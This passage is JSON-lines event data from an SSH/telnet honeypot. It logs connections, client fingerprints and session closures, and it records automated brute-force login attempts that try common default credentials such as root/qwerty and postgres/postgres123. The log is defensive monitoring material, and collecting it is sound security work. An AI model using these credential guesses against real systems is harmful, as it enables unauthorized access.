-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:14:15.692294Z","src_ip":"37.233.85.71","session":"bb5d376d70f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"140219","message":"login attempt [root/140219] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:14:16.021151Z","src_ip":"37.233.85.71","session":"bb5d376d70f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:14:17.133287Z","src_ip":"37.233.85.71","session":"bb5d376d70f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":58578,"dst_ip":"159.203.135.109","dst_port":23,"session":"a8ef0da4c7a3","protocol":"telnet","message":"New connection: 172.81.62.90:58578 (159.203.135.109:23) [session: a8ef0da4c7a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:14:27.073416Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.80.65.140","src_port":39267,"dst_ip":"10.17.0.5","dst_port":22,"session":"e86fc3835c99","protocol":"ssh","message":"New connection: 170.80.65.140:39267 (10.17.0.5:22) [session: e86fc3835c99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:14:29.560330Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:14:29.564403Z","src_ip":"170.80.65.140","session":"e86fc3835c99","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:14:29.691533Z","src_ip":"170.80.65.140","session":"e86fc3835c99","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp2","password":"password","message":"login attempt [ftp2/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:14:30.219991Z","src_ip":"170.80.65.140","session":"e86fc3835c99","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:14:31.347445Z","src_ip":"170.80.65.140","session":"e86fc3835c99","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":60716,"dst_ip":"10.17.0.5","dst_port":22,"session":"833d3384666b","protocol":"ssh","message":"New connection: 27.71.230.31:60716 (10.17.0.5:22) [session: 833d3384666b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:14:44.801416Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:14:44.820028Z","src_ip":"27.71.230.31","session":"833d3384666b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:14:46.307872Z","src_ip":"27.71.230.31","session":"833d3384666b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":50880,"dst_ip":"10.17.0.5","dst_port":22,"session":"ad7fcacbc9cb","protocol":"ssh","message":"New connection: 165.154.137.186:50880 (10.17.0.5:22) [session: ad7fcacbc9cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:14:53.573918Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:14:53.577710Z","src_ip":"165.154.137.186","session":"ad7fcacbc9cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:14:53.883951Z","src_ip":"165.154.137.186","session":"ad7fcacbc9cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test123","message":"login attempt [test/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:14:54.700364Z","src_ip":"165.154.137.186","session":"ad7fcacbc9cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":48836,"dst_ip":"10.17.0.5","dst_port":22,"session":"f88449b0b732","protocol":"ssh","message":"New connection: 165.154.137.186:48836 (10.17.0.5:22) [session: f88449b0b732]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:14:54.995642Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:14:55.000254Z","src_ip":"165.154.137.186","session":"f88449b0b732","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:14:55.244832Z","src_ip":"165.154.137.186","session":"f88449b0b732","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:14:55.976989Z","src_ip":"165.154.137.186","session":"ad7fcacbc9cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty","message":"login attempt [root/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:14:55.985089Z","src_ip":"165.154.137.186","session":"f88449b0b732","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:14:57.249432Z","src_ip":"165.154.137.186","session":"f88449b0b732","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"User@123","message":"login attempt [root/User@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:15:05.248817Z","src_ip":"27.71.230.31","session":"833d3384666b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.494831800460815,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:15:06.568125Z","src_ip":"172.81.62.90","session":"a8ef0da4c7a3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"21.9","message":"Connection lost after 21.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:15:06.667731Z","src_ip":"27.71.230.31","session":"833d3384666b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":54736,"dst_ip":"10.17.0.5","dst_port":22,"session":"ffd062f8d842","protocol":"ssh","message":"New connection: 165.154.137.186:54736 (10.17.0.5:22) [session: ffd062f8d842]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:15:17.607839Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:15:17.616782Z","src_ip":"165.154.137.186","session":"ffd062f8d842","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:15:17.877540Z","src_ip":"165.154.137.186","session":"ffd062f8d842","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"postgres123","message":"login attempt [postgres/postgres123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:15:18.937588Z","src_ip":"165.154.137.186","session":"ffd062f8d842","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":58510,"dst_ip":"10.17.0.5","dst_port":22,"session":"ac55bd962621","protocol":"ssh","message":"New connection: 165.154.137.186:58510 (10.17.0.5:22) [session: ac55bd962621]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:15:19.553218Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:15:19.560419Z","src_ip":"165.154.137.186","session":"ac55bd962621","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:15:19.813702Z","src_ip":"165.154.137.186","session":"ac55bd962621","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:15:20.192258Z","src_ip":"165.154.137.186","session":"ffd062f8d842","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Passw0rd","message":"login attempt [root/Passw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:15:20.575470Z","src_ip":"165.154.137.186","session":"ac55bd962621","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:15:21.846674Z","src_ip":"165.154.137.186","session":"ac55bd962621","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":47604,"dst_ip":"10.17.0.5","dst_port":22,"session":"eae36fabb117","protocol":"ssh","message":"New connection: 165.154.137.186:47604 (10.17.0.5:22) [session: eae36fabb117]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:15:45.006374Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:15:45.012342Z","src_ip":"165.154.137.186","session":"eae36fabb117","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:15:45.258619Z","src_ip":"165.154.137.186","session":"eae36fabb117","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"server","password":"server","message":"login attempt [server/server] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:15:46.000113Z","src_ip":"165.154.137.186","session":"eae36fabb117","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:15:47.248227Z","src_ip":"165.154.137.186","session":"eae36fabb117","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":38224,"dst_ip":"10.17.0.5","dst_port":22,"session":"d4950ff44b76","protocol":"ssh","message":"New connection: 165.154.137.186:38224 (10.17.0.5:22) [session: d4950ff44b76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:16:01.301235Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:16:01.315062Z","src_ip":"165.154.137.186","session":"d4950ff44b76","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:16:01.563960Z","src_ip":"165.154.137.186","session":"d4950ff44b76","protocol":"ssh"}
